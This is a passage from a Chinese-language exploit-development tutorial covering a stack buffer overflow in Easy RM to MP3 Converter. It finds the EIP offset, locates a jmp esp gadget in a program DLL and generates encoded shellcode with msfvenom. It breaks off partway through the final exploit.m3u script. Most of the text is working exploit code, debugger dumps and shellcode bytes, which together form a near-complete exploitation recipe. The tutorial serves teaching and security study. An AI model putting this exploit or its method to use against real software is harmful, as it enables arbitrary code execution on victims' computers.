5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
file = open(filename, "wb")
file.write(junk + junk2)
file.close()

创建 .m3u 文件。 在 Easy RM to MP3 中打开此文件,等到应用程序再次崩溃,并记下EIP的内容

在这里插入图片描述

此时,eip 的值为 0x306b4239 (注意小端序:我们已经用 39 42 6b 30 = 9Bk0 覆盖了 EIP)

现在我们使用 Metasploit 第二个工具,在写入EIP之前计算缓冲区的确切长度,参数是 EIP 的值和缓冲区的长度:

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -h             
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9

Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
                                                                                                                     
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 9Bk0 -l 5000
[*] Exact match at offset 1079

1079,这是覆盖 EIP 所需的缓冲区长度。因此,如果创建一个具有 25000 + 1079 个A的文件,然后添加4个B(十六进制为42 42 42 42),EIP应包含42 42 42 42 42。 我们也知道 ESP 指向缓冲区中的数据,因此我们将在覆盖 EIP 后添加一些 C。

让我们试试吧。修改 python 脚本以创建新的 .m3u 文件。

filename = 'testeip.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
espdata = b'C' * 1000
file = open(filename, "wb")
file.write(junk + eip + espdata)
file.close()

创建 testeip.m3u 文件,并用软件打开,观察崩溃现场中eip的值和ESP的值

在这里插入图片描述

0:000> d esp
000ffd38  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd48  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd58  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd68  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd78  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd88  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffd98  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffda8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

在x64dbg中,可以通过查看右下角的窗口,在 ESP 中查看栈的内容。

非常好。EIP包含BBBB,这正是我们想要的。所以现在我们控制EIP。最重要的是,让ESP指向我们的缓冲区

注意:这里显示的偏移量是我自己系统的分析结果。 如果您尝试在自己的系统上重现本教程中的练习,则很有可能获得不同的偏移地址。因此,请不要只是取偏移值或将源代码复制到您的系统中,因为偏移量基于存储 .m3u 文件的文件路径。 容易溢出的缓冲区包括 .m3u 文件的完整路径。因此,如果系统上的路径比我的路径短或大,则偏移量将有所不同。

到目前为止,我们的漏洞利用缓冲区如下所示:

BufferEBPEIPESP 指向这里
A(26079)AAAABBBBCCCCCCCCCCCCCC
41414141…414141414142424242
26079 bytes4 bytes4 bytes1000 bytes ?

0x08 找到内存空间以托管shellcode

我们控制 EIP。因此,我们可以将EIP指向其他地方,指向包含我们自己的代码(shellcode)的地方。 但是这个空间在哪里,我们如何将我们的shellcode放在那个位置,我们如何让EIP跳转到那个位置?

为了使应用程序崩溃,我们将 26079 个A写入内存,将一个新值写入 EIP 寄存器,后面接了一堆C。

当应用程序崩溃时,查看寄存器并 DUMP 所有寄存器(d esp,d eax,d ebx,d ebp,…)。 如果您可以在其中一个寄存器中看到缓冲区的数据(A或C),则可以用 shellcode 替换这些缓冲区并跳转到该位置。在我们的示例中,我们可以看到 ESP 似乎指向 “C”(上面 d esp 的输出),所以理想情况下,我们会放置我们的 shellcode 而不是 C,然后我们告诉 EIP 转到 ESP 地址。

尽管我们可以看到C,但不确定这里的第一个C(地址000ffd38,ESP指向的地方)是不是 python 脚本中的第一个C。

我们将更改 python 脚本并输入模式字符串(我已经使用了144个字符,但您可以采用更多或更少字符)只要不是C就行:

filename = 'test1.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
shellcode = b""
shellcode += b"1ABCDEFGHIJK2ABCDEFGHIJK"
shellcode += b"3ABCDEFGHIJK4ABCDEFGHIJK"
shellcode += b"5ABCDEFGHIJK6ABCDEFGHIJK"
shellcode += b"7ABCDEFGHIJK8ABCDEFGHIJK"
shellcode += b"9ABCDEFGHIJKAABCDEFGHIJK"
shellcode += b"BABCDEFGHIJKCABCDEFGHIJK"
file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

创建 test1.m3u 文件,并用软件打开,观察崩溃现场中 eip 和 ESP 的值

0:000> d esp
000ffd38  44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47  DEFGHIJK2ABCDEFG
000ffd48  48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b  HIJK3ABCDEFGHIJK
000ffd58  34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43  4ABCDEFGHIJK5ABC
000ffd68  44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47  DEFGHIJK6ABCDEFG
000ffd78  48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b  HIJK7ABCDEFGHIJK
000ffd88  38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43  8ABCDEFGHIJK9ABC
000ffd98  44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47  DEFGHIJKAABCDEFG
000ffda8  48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b  HIJKBABCDEFGHIJK
0:000> d
000ffdb8  43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41  CABCDEFGHIJK.AAA
000ffdc8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdd8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

好的,我们可以在这里看到2个有趣的事情:

  • ESP 从模式字符串的第 5 个字符开始,而不是第一个字符。(由于调用约定,子函数在将参数传递给子函数时将清理父函数使用的堆栈空间)
  • 在模式字符串之后,我们看到很多“A”。 这些A很可能属于缓冲区的第一部分(26079 A),所以我们也可以把我们的shellcode放在缓冲区的第一部分(在覆盖RET之前)

但是,我们还没有走那条路。 我们将首先在模式前面添加 4 个字符,然后再次进行测试。 如果一切顺利,ESP现在应该直接指向我们模式的开头:

filename = 'test1.m3u'
junk = b'\x41' * 26079
eip = b"BBBB"
preshellcode = b"xxxx"
shellcode = b""
shellcode += b"1ABCDEFGHIJK2ABCDEFGHIJK"
shellcode += b"3ABCDEFGHIJK4ABCDEFGHIJK"
shellcode += b"5ABCDEFGHIJK6ABCDEFGHIJK"
shellcode += b"7ABCDEFGHIJK8ABCDEFGHIJK"
shellcode += b"9ABCDEFGHIJKAABCDEFGHIJK"
shellcode += b"BABCDEFGHIJKCABCDEFGHIJK"
file = open(filename, "wb")
file.write(junk + eip + preshellcode + shellcode)
file.close()

让程序崩溃,再次看看esp

0:000> d esp
000ffd38  31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43  1ABCDEFGHIJK2ABC
000ffd48  44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47  DEFGHIJK3ABCDEFG
000ffd58  48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b  HIJK4ABCDEFGHIJK
000ffd68  35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43  5ABCDEFGHIJK6ABC
000ffd78  44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47  DEFGHIJK7ABCDEFG
000ffd88  48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b  HIJK8ABCDEFGHIJK
000ffd98  39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43  9ABCDEFGHIJKAABC
000ffda8  44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47  DEFGHIJKBABCDEFG
0:000> d
000ffdb8  48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b  HIJKCABCDEFGHIJK
000ffdc8  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ffdd8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

好多了,我们现在有:

  • 控制了EIP
  • 可以编写代码的区域(至少144字节大。 如果你用更长的模式做更多的测试,你会看到你有更多的空间,实际上空间很大)
  • 一个直接指向我们的代码的 ESP 寄存器,地址 0x000ffd38

现在我们需要

  • 构建真正的shellcode
  • 告诉 EIP 跳转到 shellcode 开头的地址。 我们可以通过用 0x000ffd38 覆盖EIP来做到这一点。

我们将构建一个小测试用例:首先是26079 A,然后用 0x000ffd38 覆盖EIP,然后是25个 NOP 指令,然后是中断,然后是更多的NOP。

如果一切顺利,EIP应该跳转 0x000ffd38 ,其中包含NOP。 NOP 指令没有也不做,并自动执行下一条指令,所以也叫 滑板指令 。代码会一直滑动直到中断。

import pwn

filename = 'test1.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x000ffd38)

shellcode = b"\x90" * 25
shellcode += b"\xcc"
shellcode += b"\x90" * 25

file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

应用程序崩溃了,但我们预计会出现中断,而不是访问冲突。当我们查看EIP时,它指向 000ffd38 ,ESP也是如此。当我们DUMP ESP时,我们看不到我们期望的东西。

(b0.c8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=00006616
eip=000ffd38 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0xffd37:
000ffd38 0100            add     dword ptr [eax],eax  ds:0023:00000001=????????
0:000> d esp
000ffd38  01 00 00 00 00 00 00 00-4c 00 9a 00 58 4a 10 00  ........L...XJ..
000ffd48  00 00 00 00 00 00 00 00-41 41 41 41 41 41 41 41  ........AAAAAAAA
000ffd58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

因此,直接跳转到内存地址可能不是好的解决方案。原因是 000ffd38 包含一个空字节,它是一个字符串终止符,所以你看到的 A 来自缓冲区的第一部分。我们还没达到覆盖EIP后开始写入数据的地步。

此外,在漏洞利用中使用内存地址跳转到会使漏洞利用非常不可靠。毕竟,此内存地址在其他版本操作系统、其它编程语言中可能都有所不同。

长话短说:我们不能直接用内存地址(如 000ffd38 )覆盖EIP。这不是一个好主意,因为它不可靠,而且还包含一个空字节。 我们必须使用另一种技术来实现相同的目标:使应用程序跳转到我们自己提供的代码。理想情况下,我们应该能够引用寄存器(或寄存器的偏移量),在我们的例子中是ESP,并找到一个将跳转到该寄存器的函数。然后,我们将尝试用该函数的地址覆盖EIP,现在应该是早茶时间了。

0x09 以可靠的方式跳到shellcode

我们已经设法将我们的shellcode准确地放在ESP指向的位置(或者,如果你从另一个角度来看它,ESP直接指向我们shellcode的开头)。 如果不是这样,我们会查看其他寄存器地址的内容,并希望找到我们的缓冲区。 无论如何,在这个特定的例子中,我们可以使用ESP。

使用 ESP 地址覆盖 EIP 的原因是,我们希望应用程序跳转到 ESP 并运行 shellcode。

跳转到ESP在Windows应用程序中是一件非常普遍的事情。实际上,Windows 应用程序使用一个或多个 dll,这些 dll 包含大量代码指令。 此外,这些 dll 使用的地址是相当静态的。因此,如果我们可以找到一个包含跳转到esp的指令的dll,并且如果我们可以使用该dll中该指令的地址覆盖EIP,那么它应该可以工作,对吧?

首先,我们需要知道 jmp esp 的 OPcode 是什么,可以使用 windbg 的 a(Assemble) 命令来对指令助记符进行汇编,并将指令代码的结果放入内存,然后使用 u(Unassemble) 命令查看指定的内存中的 OPcode。

启动Easy RM to MP3,打开 windbg 并附加,windbg 将看到应用程序加载的所有dll和模块。(后面再解释为什么我提到这个)

在这里插入图片描述

将调试器附加到进程后,中断应用程序。在 windbg 命令行中,在屏幕底部输入 a 并按回车键,现在输入 jmp esp 并按回车键,从而把此地址上原有的汇编语句 int 3 修改为 jmp esp

在这里插入图片描述

再按回车键,然后输入 u ,后面加刚刚修改为 jmp esp 的地址

0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e ffe4            jmp     esp
7c921210 8bff            mov     edi,edi
ntdll!DbgUserBreakPoint:
7c921212 cc              int     3
7c921213 c3              ret
7c921214 8bff            mov     edi,edi
7c921216 8b442404        mov     eax,dword ptr [esp+4]
7c92121a cc              int     3
7c92121b c20400          ret     4

7c92120e旁边,您可以看到 ffe4 。 这是 jmp esp 的OPcode。
现在,我们需要在其中一个加载的dll中找到此 OPcode 。
查看 windbg 窗口的顶部,并查找仅属于 Easy RM to MP3 应用程序的dll的行:

CommandLine: "C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe" 
Symbol search path is: SRV *C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 004be000   image00400000
ModLoad: 7c920000 7c9b3000   ntdll.dll
ModLoad: 7c800000 7c91e000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 76680000 76726000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77da0000 77e49000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71a20000 71a37000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 00b90000 00c2f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01940000 019b1000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00b20000 00b27000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 019c0000 01e8d000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 00b30000 00b41000   C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 01e90000 01eb4000   C:\Program Files\Easy RM to MP3 Converter\MSRMCctn00.dll
ModLoad: 02090000 020ae000   C:\WINDOWS\system32\wmatimer.dll
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 020d0000 020e0000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
ModLoad: 022f0000 02302000   C:\Program Files\Easy RM to MP3 Converter\MSLog.dll

如果我们可以在这些 dll 之一中找到OPcode,那么我们很有可能使漏洞利用在 Windows 平台上可靠地工作。 如果我们需要使用属于操作系统的dll,那么我们可能会发现该漏洞不适用于其他版本的操作系统。 因此,让我们搜索一个dll的第一个区域。

我们将看看C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll的区域。 此 dll 加载于 019c0000 和 01e8d000 之间。 搜索此区域以查找 ff e4

0:010> s 019c0000 l 01e8d000 ff e4
01b7f23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......
01bb023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......
01bcd3db  ff e4 ca b9 01 20 05 93-19 09 00 00 00 00 d4 bc  ..... ..........
01beb22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..
01beb72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&
01becd89  ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf  ...5..o..J..0...
01bf5c9e  ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb  ..\.....y.......
01c003d9  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01c01400  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01c0736d  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01c0ce34  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01c10159  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01c12ec0  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
021b135b  ff e4 49 1a 02 e8 49 1a-02 00 00 00 00 ff ff ff  ..I...I.........
0252ea53  ff e4 ec 52 02 00 00 00-00 00 00 00 00 f9 01 44  ...R...........D

非常好。jmp esp 是一个非常常见的指令。选择地址时,没有空字节非常重要,应尽量避免使用具有空字节的地址(尤其是在需要使用 EIP 覆盖后出现的缓冲区数据时)。空字节将成为字符串终止符,其余缓冲区数据将变得不可用。

搜索OPcode的另一个可用地址范围是:

s 70000000 l fffffff ff e4 (这通常会从Windows系统的dll中给出结果)

注意:还有其他方法可以获得OPcode地址:

  • findjmp
    • 编译findjmp.c并用以下参数运行:findjmp kernel32.dll esp
  • Metasploit Opcode 数据库
  • memdump(以后会介绍)
  • x64dbg的匹配特征功能(快捷键 Ctrl+B

由于我们要将 shellcode 放在 ESP 中(在覆盖 EIP 后将其放置在有效负载字符串中),因此列表中的jmp esp地址不得具有空字节。 如果此地址具有空字节,我们将使用包含空字节的地址覆盖 EIP。 空字节充当字符串终止符,因此将忽略后面的所有内容。 在某些情况下,可以使用以空字节开头的地址。 如果地址以空字节开头,由于字节序很小,则空字节将是 EIP 寄存器中的最后一个字节。 如果您在覆盖EIP后没有发送任何有效负载(因此,如果在覆盖EIP之前提供了shellcode,并且仍然可以通过寄存器访问它),那么这将起作用。

无论如何,我们将在覆盖EIP后使用有效负载来托管我们的shellcode,因此地址不应包含空字节。

第一个地址就可以了:01b7f23a

验证此地址是否包含 jmp esp(因此反汇编 01b7f23a 处的指令):

0:010> u 01b7f23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01b7f23a ffe4            jmp     esp
01b7f23c ff8d4e10c744    dec     dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp]
01b7f242 2410            and     al,10h
01b7f244 ff              ???
01b7f245 ff              ???
01b7f246 ff              ???
01b7f247 ff              ???
01b7f248 e8f3fee4ff      call    MSRMCcodec02!CTN_WriteHead+0xd320 (019cf140)

如果我们现在用 01b7f23a 覆盖EIP,将执行 jmp esp。Esp 包含我们的shellcode,所以我们现在应该有一个有效的漏洞利用。让我们用我们的 NOP & break shellcode进行测试,关闭windbg。

使用以下脚本创建一个新的 .m3u 文件:

import pwn

filename = 'test1.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01b7f23a)

shellcode = b"\x90" * 25
shellcode += b"\xcc"     #将导致应用程序中断,需要进一步调试
shellcode += b"\x90" * 25

file = open(filename, "wb")
file.write(junk + eip + shellcode)
file.close()

再次运行应用程序,在软件中打开生成的文件,出现崩溃窗口后点击调试。

(84.7e8): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=00006616
eip=000ffd4d esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0xffd4c:
000ffd4d cc              int     3
0:000> d esp
000ffd38  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffd48  90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90  ................
000ffd58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00  ................
000ffd68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

应用程序现在在地址 000ffd4d 处中断,这是我们第一次中断的位置。所以 jmp esp 工作得很好(esp从 000ffd38 开始,但它直到 000ffd4d 处才有 NOP 指令)。

我们现在需要做的就是放入我们真正的 shellcode 并完成漏洞利用。再次关闭windbg。

0x0A 获取shellcode并完成漏洞利用

Metasploit 有一个很好的载荷生成器 msfvenom ,它将帮助您构建 shellcode 。 有效载荷具有各种选项,取决于它们需要执行的操作,可以很小,也可以非常大。如果您在缓冲区空间方面有大小限制,那么您甚至可能想要查看多阶段 shellcode ,或者使用专门手工制作的 shellcode ,例如这个可运行xp sp2上cmd.exe的32字节的shellcode。或者,您可以将shellcode拆分为较小的“egg”,并使用一种称为 egg-hunting 的技术在执行之前重新组装 shellcode 。教程 8 和 10 讨论了 egg-huntingomelet hunters

假设我们希望将计算器作为漏洞利用有效负载来执行,那么生成的 shellcode 可能如下所示:

┌──(root㉿kali)-[/home/kali]
└─# msfvenom -a x86 -p windows/exec EXITFUNC=seh CMD=calc -e x86/shikata_ga_nai -v shellcode -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 216 (iteration=0)
x86/shikata_ga_nai chosen with final size 216
Payload size: 216 bytes
Final size of python file: 1221 bytes
shellcode =  b""
shellcode += b"\xd9\xc4\xb8\x4d\x9a\x20\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x42\x18\x83\xc2\x04"
shellcode += b"\x03\x42\x59\x78\xd5\x44\x89\xfe\x16\xb5\x49"
shellcode += b"\x9f\x9f\x50\x78\x9f\xc4\x11\x2a\x2f\x8e\x74"
shellcode += b"\xc6\xc4\xc2\x6c\x5d\xa8\xca\x83\xd6\x07\x2d"
shellcode += b"\xad\xe7\x34\x0d\xac\x6b\x47\x42\x0e\x52\x88"
shellcode += b"\x97\x4f\x93\xf5\x5a\x1d\x4c\x71\xc8\xb2\xf9"
shellcode += b"\xcf\xd1\x39\xb1\xde\x51\xdd\x01\xe0\x70\x70"
shellcode += b"\x1a\xbb\x52\x72\xcf\xb7\xda\x6c\x0c\xfd\x95"
shellcode += b"\x07\xe6\x89\x27\xce\x37\x71\x8b\x2f\xf8\x80"
shellcode += b"\xd5\x68\x3e\x7b\xa0\x80\x3d\x06\xb3\x56\x3c"
shellcode += b"\xdc\x36\x4d\xe6\x97\xe1\xa9\x17\x7b\x77\x39"
shellcode += b"\x1b\x30\xf3\x65\x3f\xc7\xd0\x1d\x3b\x4c\xd7"
shellcode += b"\xf1\xca\x16\xfc\xd5\x97\xcd\x9d\x4c\x7d\xa3"
shellcode += b"\xa2\x8f\xde\x1c\x07\xdb\xf2\x49\x3a\x86\x98"
shellcode += b"\x8c\xc8\xbc\xee\x8f\xd2\xbe\x5e\xf8\xe3\x35"
shellcode += b"\x31\x7f\xfc\x9f\x76\x81\x0d\x12\x62\x16\xb4"
shellcode += b"\xc7\xcf\x7a\x47\x32\x13\x83\xc4\xb7\xeb\x70"
shellcode += b"\xd4\xbd\xee\x3d\x52\x2d\x82\x2e\x37\x51\x31"
shellcode += b"\x4e\x12\x32\xd4\xdc\xfe\xb5"

完成脚本后试试看:

# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# tested on Windows XP SP3
import pwn

filename = 'exploit.m3u'
junk = b'\x41' * 26079
eip = pwn.p32(0x01b7f23a)
shellcode = b"\x90" * 25

shellcode += b"\xd9\xc4\xb8\x4d\x9a\x20\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x30\x31\x42\x18\x83\xc2\x04"
shellcode += b"\x03\x42\x59\x78\xd5\x44\x89\xfe\x16\xb5\x49"
shellcode += b"\x9f\x9f\x50\x78\x9f\xc4\x11\x2a\x2f\x8e\x74"
shellcode += b"\xc6\xc4\xc2\x6c\x5d\xa8\xca\x83\xd6\x07\x2d"
shellcode += b"\xad\xe7\x34\x0d\xac\x6b\x47\x42\x0e\x52\x88"
